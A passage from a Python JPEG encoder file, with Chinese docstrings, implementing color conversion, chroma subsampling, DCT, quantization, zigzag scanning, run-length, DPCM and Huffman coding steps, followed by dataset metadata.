DC[k].append(z[0])\n AC[k].append(self.__AC_huffman(self.__rle(z[1:]), k))\n\n DC[k] = self.__DC_huffman(self.__dpcm(DC[k]), k)\n\n return DC, AC\n\n def __rgb2ycbcr(self, img):\n \"\"\"\n rgb 转 ycbcr\n \"\"\"\n xform = np.array(\n [[.299, .587, .114], [-.168736, -.331264, .5], [.5, -.418688, -.081312]])\n ret = img.dot(xform.T)\n ret[..., [1, 2]] += 128\n return ret.astype(np.int32)\n\n def __subsampling(self, img):\n \"\"\"\n 4:2:0 二次采样\n \"\"\"\n y = img[..., 0]\n cb = img[::2, ::2, 1]\n cr = img[1::2, ::2, 2]\n return [y, cb, cr]\n\n def __dct(self, block):\n \"\"\"\n 二维 DCT 变换\n \"\"\"\n ret = self.DCT.dot(block - 128).dot(self.DCT.T)\n return ret\n\n def __quantizer(self, block, ttype):\n \"\"\"\n 量化\n\n `ttype == 0` 亮度量化\n\n `ttype != 0` 色差量化\n \"\"\"\n Q = self.qy if ttype == 0 else self.qc\n ret = np.round(block / Q).astype(np.int32)\n return ret\n\n def __zigzag(self, block):\n \"\"\"\n Z 字扫描\n \"\"\"\n z = np.zeros((B * B), dtype=np.int32)\n for i in range(B):\n for j in range(B):\n z[self.zigzag[i, j]] = block[i, j]\n return z\n\n def __rle(self, block):\n \"\"\"\n AC系数 RLE编码\n \"\"\"\n zero_num = 0\n ret = []\n for i in range(len(block)):\n if block[i] != 0 or zero_num == 15:\n ret.append([zero_num, block[i]])\n zero_num = 0\n else:\n zero_num += 1\n if zero_num:\n while len(ret) and ret[-1] == [15, 0]:\n ret.pop()\n ret.append([0, 0])\n return ret\n\n def __dpcm(self, dc):\n \"\"\"\n DC系数 DPCM编码\n \"\"\"\n ret = [dc[0]] + [dc[i] - dc[i - 1] for i in range(1, len(dc))]\n return ret\n\n def __toBin(self, num):\n \"\"\"\n 将数字转为 01 串表示\n \"\"\"\n if num == 0:\n return ''\n b = bin(np.abs(num))[2:]\n if num < 0:\n b = utils.bitwise(b)\n return b\n\n def __DC_huffman(self, dc, k):\n \"\"\"\n DC 系数的哈夫曼编码\n\n `k` - 通道:`0 - y, 1 - cb, 2 - cr`\n \"\"\"\n ret = []\n for i in range(len(dc)):\n b = self.__toBin(dc[i])\n size = self.dc_table[k, len(b)]\n ret.append([size, b])\n return ret\n\n def __AC_huffman(self, ac, k):\n \"\"\"\n AC 系数的哈夫曼编码\n \n `k` - 通道:`0 - y, 1 - cb, 2 - cr`\n \"\"\"\n ret = []\n for i in range(len(ac)):\n b = self.__toBin(ac[i][1])\n rz = self.ac_table[k, ac[i][0]][len(b)]\n ret.append([rz, b])\n return ret\n","sub_path":"MM/jpeg/jpegEncode.py","file_name":"jpegEncode.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"}